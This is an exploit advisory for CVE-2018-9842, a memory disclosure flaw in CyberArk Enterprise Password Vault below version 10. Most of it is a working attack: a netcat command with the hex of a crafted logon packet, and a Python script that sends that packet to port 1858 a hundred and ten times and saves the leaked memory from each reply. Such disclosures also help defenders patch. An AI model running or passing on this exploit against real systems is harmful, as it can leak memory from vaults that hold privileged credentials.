CyberArk Memory Disclosure

2018.06.04
Credit: Thomas Zuk
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: CyberArk < 10 - Memory Disclosure # Date: 2018-06-04 # Exploit Author: Thomas Zuk # Vendor Homepage: https://www.cyberark.com/products/privileged-account-security-solution/enterprise-password-vault/ # Version: < 9.7 and < 10 # Tested on: Windows 2008, Windows 2012, Windows 7, Windows 8, Windows 10 # CVE: CVE-2018-9842 # Linux cmd line manual test: cat logon.bin | nc -vv IP 1858 | xxd # paste the following bytes into a hexedited file named logon.bin: #fffffffff7000000ffffffff3d0100005061636c695363726970745573657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020202020ffffffff0000000000000000000073000000cececece00000000000000000000000000000000303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c6953637269707455736572fd3336373d3330fd0000 #!/usr/bin/python import socket import os import sys ip = "10.107.32.21" port = 1858 # Cyber Ark port 1858 is a proprietary software and protocol to perform login and administrative services. # The below is a sample login request that is needed to receive the memory pacli_logon = "\xff\xff\xff\xff\xf7\x00\x00\x00\xff\xff\xff\xff\x3d\x01\x00\x00\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x00\x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x3d\x4c\x6f\x67\x6f\x6e\xfd\x31\x31\x35\x3d\x37\x2e\x32\x30\x2e\x39\x30\x2e\x32\x38\xfd\x36\x39\x3d\x50\xfd\x31\x31\x36\x3d\x30\xfd\x31\x30\x30\x3d\xfd\x32\x31\x37\x3d\x59\xfd\x32\x31\x38\x3d\x50\x41\x43\x4c\x49\xfd\x32\x31\x39\x3d\xfd\x33\x31\x37\x3d\x30\xfd\x33\x35\x37\x3d\x30\xfd\x32\x32\x3d\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\xfd\x33\x36\x37\x3d\x33\x30\xfd\x00\x00" for iteration in range(0, 110): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(pacli_logon) # recieve response s.recv(200) reply = s.recv(1500) # write responses to file file = open("cyberark_memory", "a") file.write("received: \n") file.write(reply) file.write("\n\n\n") file.close() s.close()


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